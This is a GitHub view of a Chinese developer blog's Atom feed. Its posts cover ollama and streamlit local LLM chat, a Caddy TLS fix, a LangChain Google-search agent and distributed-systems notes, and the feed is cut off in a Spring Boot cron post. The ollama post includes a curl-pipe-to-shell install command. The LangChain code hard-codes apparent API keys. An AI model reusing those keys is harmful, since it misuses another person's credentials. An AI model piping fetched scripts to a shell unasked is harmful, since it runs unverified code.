-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
698 lines (437 loc) · 636 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>夏尔の个人博客</title>
<subtitle>分享个人经验见解</subtitle>
<link href="https://reiner.host/atom.xml" rel="self"/>
<link href="https://reiner.host/"/>
<updated>2024-12-17T12:44:54.439Z</updated>
<id>https://reiner.host/</id>
<author>
<name>reiner</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>使用ollama + streamlit快速构建本地大模型应用</title>
<link href="https://reiner.host/posts/8d748f6c.html"/>
<id>https://reiner.host/posts/8d748f6c.html</id>
<published>2024-12-17T09:42:46.000Z</published>
<updated>2024-12-17T12:44:54.439Z</updated>
<content type="html"><![CDATA[<h1><span id="说明">说明</span></h1><p> 使用ollama可以很方便的运行本地大模型(包括官方模型和gguf量化模型),使用streamlit快速构建对话界面。</p><h1><span id="安装ollama">安装ollama</span></h1><p> 以linux系统为例</p><h2><span id="在线安装">在线安装</span></h2><p> 在线安装直接按官方命令执行:<code>curl -fsSL https://ollama.com/install.sh | sh</code> ,但鉴于国内网络下不动,可以考虑手动安装</p><h2><span id="手动安装">手动安装</span></h2><p> 下载安装包: <code>curl -L https://ollama.com/download/ollama-linux-amd64.tgz -o ollama-linux-amd64.tgz</code><br> 解压: <code>sudo tar -C /usr -xzf ollama-linux-amd64.tgz</code><br> 运行服务: <code>ollama serve</code></p><h1><span id="下载模型文件">下载模型文件</span></h1><p>此处使用modelscope下载qwen的gguf量化模型</p><p>安装modelscope下载工具:<code>pip install -U modelscope</code> </p><p>下载模型文件: <code>modelscope download --model=Qwen/Qwen2.5-Coder-32B-Instruct-GGUF --include "qwen2.5-coder-32b-instruct-q5_k_m*.gguf" --local_dir . </code></p><h1><span id="创建modelfile">创建ModelFile</span></h1><p> ModelFile用于ollama构建本地模型,示例如下:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">FROM ./QwQ-32B-Preview-GGUF/qwen2.5-coder-32b-instruct-q5_k_m.gguf</span><br><span class="line"># sets the temperature to 1 [higher is more creative, lower is more coherent]</span><br><span class="line">PARAMETER temperature 1</span><br><span class="line"># sets the context window size to 4096, this controls how many tokens the LLM can use as context to generate the next token</span><br><span class="line">PARAMETER num_ctx 4096</span><br><span class="line"></span><br><span class="line"># sets a custom system message to specify the behavior of the chat assistant</span><br><span class="line">SYSTEM You are Mario from super mario bros, acting as an assistant.</span><br></pre></td></tr></table></figure><br>其中FROM为本地大模型的路径</p><h1><span id="构建ollama本地大模型">构建ollama本地大模型</span></h1><p>执行:<code>ollama create mymodel -f ./Modelfile</code> 名字可以随便起,Modelfile为刚才创建的Modelfile文件路径。</p><p>创建完成后运行: <code>ollama run mymodel</code> </p><h1><span id="编写streamlit页面并与ollama对接">编写streamlit页面并与ollama对接</span></h1><h2><span id="依赖">依赖</span></h2><p>需要安装的依赖如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pip install transformers</span><br><span class="line">pip install ctransformers</span><br><span class="line">pip install streamlit</span><br><span class="line">pip install torch</span><br></pre></td></tr></table></figure><p>如无法运行可能需要安装torch cuda环境,具体安装此处省略。</p><h2><span id="编写python代码">编写python代码</span></h2><p>创建<code>main.py</code>编写如下代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">from</span> transformers <span class="keyword">import</span> AutoTokenizer</span><br><span class="line"><span class="keyword">from</span> ctransformers <span class="keyword">import</span> AutoModelForCausalLM</span><br><span class="line"><span class="keyword">from</span> transformers <span class="keyword">import</span> TextStreamer</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">logger = logging.getLogger(__name__)</span><br><span class="line">logging.basicConfig(</span><br><span class="line"> level=logging.INFO,</span><br><span class="line"> <span class="built_in">format</span>=<span class="string">'%(asctime)s - %(name)s - %(levelname)s - %(message)s'</span>,</span><br><span class="line"> handlers=[</span><br><span class="line"> logging.StreamHandler(), <span class="comment"># 输出到控制台</span></span><br><span class="line"> logging.FileHandler(<span class="string">'qwen-chat-gguf.log'</span>) <span class="comment"># 输出到文件</span></span><br><span class="line"> ]</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> streamlit <span class="keyword">as</span> st</span><br><span class="line">st.set_page_config(</span><br><span class="line"> page_title=<span class="string">"MY AI"</span>,</span><br><span class="line"> page_icon=<span class="string">"🤖"</span> </span><br><span class="line">)</span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">AI对话模块,支持流式输出 </span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">QwenChat</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self</span>):</span></span><br><span class="line"> self.api_base = <span class="string">"http://localhost:11434"</span> <span class="comment"># Ollama默认地址</span></span><br><span class="line"> self.model = <span class="string">"mymodel"</span> <span class="comment"># 使用的模型名称</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">stream_chat</span>(<span class="params">self, prompt,history=<span class="literal">None</span></span>):</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 构建API请求</span></span><br><span class="line"> url = <span class="string">f"<span class="subst">{self.api_base}</span>/api/generate"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"Content-Type"</span>: <span class="string">"application/json"</span></span><br><span class="line"> }</span><br><span class="line"> data = {</span><br><span class="line"> <span class="string">"model"</span>: self.model,</span><br><span class="line"> <span class="string">"prompt"</span>: prompt,</span><br><span class="line"> <span class="string">"stream"</span>: <span class="literal">True</span>,</span><br><span class="line"> <span class="string">"system"</span>: <span class="string">"你是AI助手"</span>,</span><br><span class="line"> <span class="string">"messages"</span>: history</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># 发送流式请求</span></span><br><span class="line"> response = requests.post(url, headers=headers, json=data, stream=<span class="literal">True</span>)</span><br><span class="line"> response.raise_for_status()</span><br><span class="line"> <span class="keyword">return</span> response</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> logger.error(<span class="string">f"调用Ollama API时发生错误: <span class="subst">{<span class="built_in">str</span>(e)}</span>"</span>)</span><br><span class="line"> <span class="keyword">raise</span> e</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="meta">@st.cache_resource</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_qwen_chat_instance</span>():</span></span><br><span class="line"> <span class="keyword">return</span> QwenChat()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> torch.cuda.is_available():</span><br><span class="line"> torch.cuda.empty_cache()</span><br><span class="line"> <span class="comment"># 创建 QwenChat 实例</span></span><br><span class="line"> <span class="comment"># 使用共享的 QwenChat 实例</span></span><br><span class="line"> qwen_chat = get_qwen_chat_instance()</span><br><span class="line"> </span><br><span class="line"> st.title(<span class="string">"AI助手"</span>)</span><br><span class="line"> st.write(<span class="string">"请问有什么可以帮您的?"</span>)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 初始化对话历史</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">"messages"</span> <span class="keyword">not</span> <span class="keyword">in</span> st.session_state:</span><br><span class="line"> st.session_state.messages = []</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 显示历史对话</span></span><br><span class="line"> <span class="keyword">for</span> message <span class="keyword">in</span> st.session_state.messages:</span><br><span class="line"> <span class="keyword">with</span> st.chat_message(message[<span class="string">"role"</span>]):</span><br><span class="line"> st.markdown(message[<span class="string">"content"</span>])</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 用户输入</span></span><br><span class="line"> <span class="keyword">if</span> prompt := st.chat_input(<span class="string">"请输入您的问题"</span>):</span><br><span class="line"> <span class="comment"># 显示用户问题</span></span><br><span class="line"> <span class="keyword">with</span> st.chat_message(<span class="string">"user"</span>):</span><br><span class="line"> st.markdown(prompt)</span><br><span class="line"> st.session_state.messages.append({<span class="string">"role"</span>: <span class="string">"user"</span>, <span class="string">"content"</span>: prompt})</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 显示AI回答</span></span><br><span class="line"> <span class="keyword">with</span> st.chat_message(<span class="string">"assistant"</span>):</span><br><span class="line"> message_placeholder = st.empty()</span><br><span class="line"> full_response = <span class="string">""</span></span><br><span class="line"> </span><br><span class="line"> full_text = <span class="string">""</span></span><br><span class="line"> <span class="comment"># 获取历史消息(不包括最新的用户消息)</span></span><br><span class="line"> history = st.session_state.messages[:<span class="number">-1</span>] <span class="keyword">if</span> <span class="built_in">len</span>(st.session_state.messages) > <span class="number">0</span> <span class="keyword">else</span> <span class="literal">None</span></span><br><span class="line"> response = qwen_chat.stream_chat(prompt, history)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> response.iter_lines():</span><br><span class="line"> <span class="keyword">if</span> line:</span><br><span class="line"> <span class="comment"># 解析JSON响应</span></span><br><span class="line"> chunk = json.loads(line)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"response"</span> <span class="keyword">in</span> chunk:</span><br><span class="line"> text_chunk = chunk[<span class="string">"response"</span>]</span><br><span class="line"> <span class="comment"># print(text_chunk)</span></span><br><span class="line"> full_text += text_chunk</span><br><span class="line"> <span class="comment"># 更新ui</span></span><br><span class="line"> message_placeholder.markdown(full_text + <span class="string">"▌"</span>)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 如果生成结束,退出循环 </span></span><br><span class="line"> <span class="keyword">if</span> chunk.get(<span class="string">"done"</span>, <span class="literal">False</span>):</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 更新最终响应</span></span><br><span class="line"> message_placeholder.markdown(full_text)</span><br><span class="line"> </span><br><span class="line"> st.session_state.messages.append({<span class="string">"role"</span>: <span class="string">"assistant"</span>, <span class="string">"content"</span>: full_text})</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>最终运行启动命令: <code>streamlit run main.py</code></p>]]></content>
<summary type="html"><h1><span id="说明">说明</span></h1><p> 使用ollama可以很方便的运行本地大模型(包括官方模型和gguf量化模型),使用streamlit快速构建对话界面。</p>
<h1><span id="安装ollama">安装ollama</span><</summary>
<category term="AI" scheme="https://reiner.host/categories/AI/"/>
<category term="AI" scheme="https://reiner.host/tags/AI/"/>
<category term="ollama" scheme="https://reiner.host/tags/ollama/"/>
<category term="python" scheme="https://reiner.host/tags/python/"/>
<category term="streamlit" scheme="https://reiner.host/tags/streamlit/"/>
</entry>
<entry>
<title>记caddy2报:no cipher suite supported by both client and server</title>
<link href="https://reiner.host/posts/850289f1.html"/>
<id>https://reiner.host/posts/850289f1.html</id>
<published>2024-07-22T05:50:54.000Z</published>
<updated>2024-12-17T12:59:22.019Z</updated>
<content type="html"><![CDATA[<h1><span id="描述">描述</span></h1><p>配置好域名转发后发现依旧无法访问,使用<code>service caddy status</code> 发现报错: <code>no cipher suite supported by both client and server</code></p><h1><span id="解决">解决</span></h1><p>改成如下配置:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">site.com {</span><br><span class="line"> reverse_proxy localhost:8080</span><br><span class="line"> tls {</span><br><span class="line"> protocols tls1.2 tls1.2</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>增加 tls协议配置即可</p>]]></content>
<summary type="html"><h1><span id="描述">描述</span></h1><p>配置好域名转发后发现依旧无法访问,使用<code>service caddy status</code> 发现报错: <code>no cipher suite supported by both client</summary>
</entry>
<entry>
<title>Enable AI to have internet access - Google search integrated langchain</title>
<link href="https://reiner.host/posts/12306.html"/>
<id>https://reiner.host/posts/12306.html</id>
<published>2024-04-20T04:19:29.000Z</published>
<updated>2024-12-17T12:51:11.835Z</updated>
<content type="html"><![CDATA[<h1><span id="basic-dependency">Basic dependency</span></h1><ul><li>python 3.1.12 + </li><li>langchain 0.1.12 + </li><li>SERPAPI_API_KEY</li><li>OPEN_AI_API_KEY</li></ul><p>SERPAPI_API_KEY get from <a href="https://serpapi.com/">https://serpapi.com/</a></p><p>Install the following dependencies:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pip install langchain</span><br><span class="line">pip install pymupdf</span><br><span class="line">pip install openai</span><br><span class="line">pip install --upgrade --quiet langchain langchain-community langchainhub langchain-openai chromadb bs4</span><br><span class="line">pip install --upgrade langchain-openai tiktoken chromadb langchain</span><br><span class="line">pip install fake_useragent</span><br></pre></td></tr></table></figure><h1><span id="get-start">Get start</span></h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># set the api key</span></span><br><span class="line">os.environ[<span class="string">"SERPAPI_API_KEY"</span>] = <span class="string">'003dc0d2d9e0dc818aa2b497342346dfgdf799af1849c5d1249d34dd7'</span></span><br><span class="line">openai.api_key=<span class="string">"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"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> langchain_openai <span class="keyword">import</span> ChatOpenAI</span><br><span class="line"><span class="keyword">from</span> langchain_core.prompts <span class="keyword">import</span> ChatPromptTemplate, MessagesPlaceholder</span><br><span class="line"><span class="keyword">from</span> langchain.memory <span class="keyword">import</span> ChatMessageHistory</span><br><span class="line"><span class="keyword">from</span> langchain_text_splitters <span class="keyword">import</span> RecursiveCharacterTextSplitter</span><br><span class="line"><span class="keyword">from</span> langchain_community.vectorstores <span class="keyword">import</span> Chroma</span><br><span class="line"><span class="keyword">from</span> langchain_openai <span class="keyword">import</span> OpenAIEmbeddings</span><br><span class="line"></span><br><span class="line"><span class="comment"># build tool agent</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> langchain_community.utilities <span class="keyword">import</span> SerpAPIWrapper</span><br><span class="line"><span class="keyword">from</span> langchain.agents <span class="keyword">import</span> create_openai_tools_agent</span><br><span class="line"><span class="keyword">from</span> langchain.agents <span class="keyword">import</span> AgentExecutor,Tool</span><br><span class="line"><span class="keyword">from</span> langchain.memory <span class="keyword">import</span> ConversationBufferWindowMemory</span><br><span class="line"></span><br><span class="line">chat = ChatOpenAI(model=<span class="string">"gpt-3.5-turbo-1106"</span>,streaming=<span class="literal">True</span>,max_tokens=<span class="number">4090</span>,max_retries=<span class="number">2</span>)</span><br><span class="line"><span class="comment"># 加载 serpapi 工具</span></span><br><span class="line">search = SerpAPIWrapper()</span><br><span class="line"></span><br><span class="line">tools = [Tool(</span><br><span class="line"> name=<span class="string">"google_search"</span>,</span><br><span class="line"> description=<span class="string">"Search Google for recent results."</span>,</span><br><span class="line"> func=search.run,</span><br><span class="line"> max_results=<span class="number">1</span>,</span><br><span class="line"> max_iterations=<span class="number">2</span>,</span><br><span class="line"> max_retries=<span class="number">2</span>,</span><br><span class="line"> max_consecutive_errors=<span class="number">2</span>,</span><br><span class="line"> max_tokens=<span class="number">2000</span>, <span class="comment">#must</span></span><br><span class="line"> return_direct=<span class="literal">False</span></span><br><span class="line">)]</span><br><span class="line"></span><br><span class="line">prompt = ChatPromptTemplate.from_messages(</span><br><span class="line"> [</span><br><span class="line"> (</span><br><span class="line"> <span class="string">"system"</span>,</span><br><span class="line"> <span class="string">"You are a helpful assistant. You may not need to use tools for every query - the user may just want to chat!"</span>,</span><br><span class="line"> ),</span><br><span class="line"> (<span class="string">"user"</span>, <span class="string">"{input}"</span>),</span><br><span class="line"> MessagesPlaceholder(variable_name=<span class="string">"agent_scratchpad"</span>),</span><br><span class="line"> ]</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">memory = ConversationBufferWindowMemory(k=<span class="number">2</span>, return_messages=<span class="literal">True</span>)</span><br><span class="line">agent = create_openai_tools_agent(tools = tools,llm = chat,prompt=prompt)</span><br><span class="line">agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=<span class="literal">True</span>,max_iterations=<span class="number">2</span>,memory=memory)</span><br><span class="line">response = agent_executor.invoke({<span class="string">"input"</span>: <span class="string">'Who is the current President of the United States?'</span>})</span><br><span class="line">print(response)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Now AI can first use Google search and then answer your questions.</p>]]></content>
<summary type="html"><h1><span id="basic-dependency">Basic dependency</span></h1><ul>
<li>python 3.1.12 + </li>
<li>langchain 0.1.12 + </li>
<li>SERPAPI_API_KEY<</summary>
<category term="AI" scheme="https://reiner.host/categories/AI/"/>
<category term="AI" scheme="https://reiner.host/tags/AI/"/>
<category term="ChatGPT" scheme="https://reiner.host/tags/ChatGPT/"/>
<category term="对话机器人" scheme="https://reiner.host/tags/%E5%AF%B9%E8%AF%9D%E6%9C%BA%E5%99%A8%E4%BA%BA/"/>
</entry>
<entry>
<title>分布式常见面试笔记</title>
<link href="https://reiner.host/posts/4320.html"/>
<id>https://reiner.host/posts/4320.html</id>
<published>2024-03-12T04:17:44.991Z</published>
<updated>2024-07-22T05:57:55.599Z</updated>
<content type="html"><![CDATA[<h1><span id="java分布式服务常见面试题">JAVA分布式服务常见面试题</span></h1><h1><span id="分布式事务">分布式事务</span></h1><h3><span id="seata">Seata</span></h3><p>seata是阿里开源的分布式事务调度框架,支持TCC、AT、SAGA、XA四种模式</p><ul><li><p>AT<br>SEATA默认是AT模式,通过@GlobalTrancation 动态代理生成全局事务ID,并通过RM来管理全局事务,如中间出错需要回滚事务时则通过数据库中的undo-log回写,undolog记录了数据提交前的状态</p></li><li><p>XA<br>二阶段提交,需要数据库本身支持XA协议</p></li><li><p>TCC<br>即 尝试(Try)-确认(Confirm)-取消(Cancel),每个事务都分成这三个阶段,在提交事务前向另一个系统发送确认消息,两边系统都确认OK了才执行提交操作,有一方出现异常则执行Cancel(补偿方法),缺点在于三个方法都需要自已手动完成</p></li><li><p>SAGA<br>与TCC类似,不同点在于一阶段直接提交事务,失败则执行补偿操作,无锁,因此性能相对较好,但同时由于没有事务隔离性会带来赃写</p></li></ul><span id="more"></span><h1><span id="分布式锁">分布式锁</span></h1><h3><span id="基于数据库的cas乐观锁">基于数据库的CAS乐观锁</span></h3><p> 更新数据的时候带上指定版本号,如果被其他线程提前更新的版本号,则此次更新失败,缺点对数据库表侵入较大,每个表需要增加version字段,高并发下存在很多更新失败。</p><h3><span id="通过redis实现">通过redis实现</span></h3><p> 使用命令 <code>SET key value NX PX milliseconds</code> </p><p>缺点:</p><ul><li>获取锁是非阻塞</li><li>非公平锁,不支持需要公平锁的场景</li><li>redis主从存在延迟,在master宕机发生主从切换时,可能会导致锁失效</li></ul><p>改进:<br> 基于Redlock算法实现分布式锁。 redisson对Redlock算法进行了封装。<br> <strong>简单来说就是同时向多个节点发送锁定命令,当获取锁时由于是多个节点会有时间差问题。</strong></p><p> **客户端计算获取锁所花的时间,只有当客户端在大多数master节点上成功获取了锁,而且总共消耗的时间不超过锁释放时间,这个锁就认为是获取成功了 **</p><h3><span id="基于zookeeper实现分布式锁">基于zookeeper实现分布式锁</span></h3>]]></content>
<summary type="html"><h1 id="JAVA分布式服务常见面试题"><a href="#JAVA分布式服务常见面试题" class="headerlink" title="JAVA分布式服务常见面试题"></a>JAVA分布式服务常见面试题</h1><h1 id="分布式事务"><a href="#分布式事务" class="headerlink" title="分布式事务"></a>分布式事务</h1><h3 id="Seata"><a href="#Seata" class="headerlink" title="Seata"></a>Seata</h3><p>seata是阿里开源的分布式事务调度框架,支持TCC、AT、SAGA、XA四种模式</p>
<ul>
<li><p>AT<br>SEATA默认是AT模式,通过@GlobalTrancation 动态代理生成全局事务ID,并通过RM来管理全局事务,如中间出错需要回滚事务时则通过数据库中的undo-log回写,undolog记录了数据提交前的状态</p>
</li>
<li><p>XA<br>二阶段提交,需要数据库本身支持XA协议</p>
</li>
<li><p>TCC<br>即 尝试(Try)-确认(Confirm)-取消(Cancel),每个事务都分成这三个阶段,在提交事务前向另一个系统发送确认消息,两边系统都确认OK了才执行提交操作,有一方出现异常则执行Cancel(补偿方法),缺点在于三个方法都需要自已手动完成</p>
</li>
<li><p>SAGA<br>与TCC类似,不同点在于一阶段直接提交事务,失败则执行补偿操作,无锁,因此性能相对较好,但同时由于没有事务隔离性会带来赃写</p>
</li>
</ul></summary>
</entry>
<entry>
<title>SpringBoot定时任务Scheduled动态修改Cron执行时间</title>
<link href="https://reiner.host/posts/1230.html"/>
<id>https://reiner.host/posts/1230.html</id>
<published>2024-03-12T04:16:59.833Z</published>
<updated>2024-07-22T05:57:35.742Z</updated>
<content type="html"><![CDATA[<h1><span id="场景">场景</span></h1><p> 当某些简单的定时任务需要通过后台修改执行时间时,通过spring boot自带的定时任务来实现是个不错的选择。</p><h1><span id="代码实现">代码实现</span></h1><h3><span id="创建定时任务类">创建定时任务类</span></h3><p> 需要实现<code>SchedulingConfigurer</code>接口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span 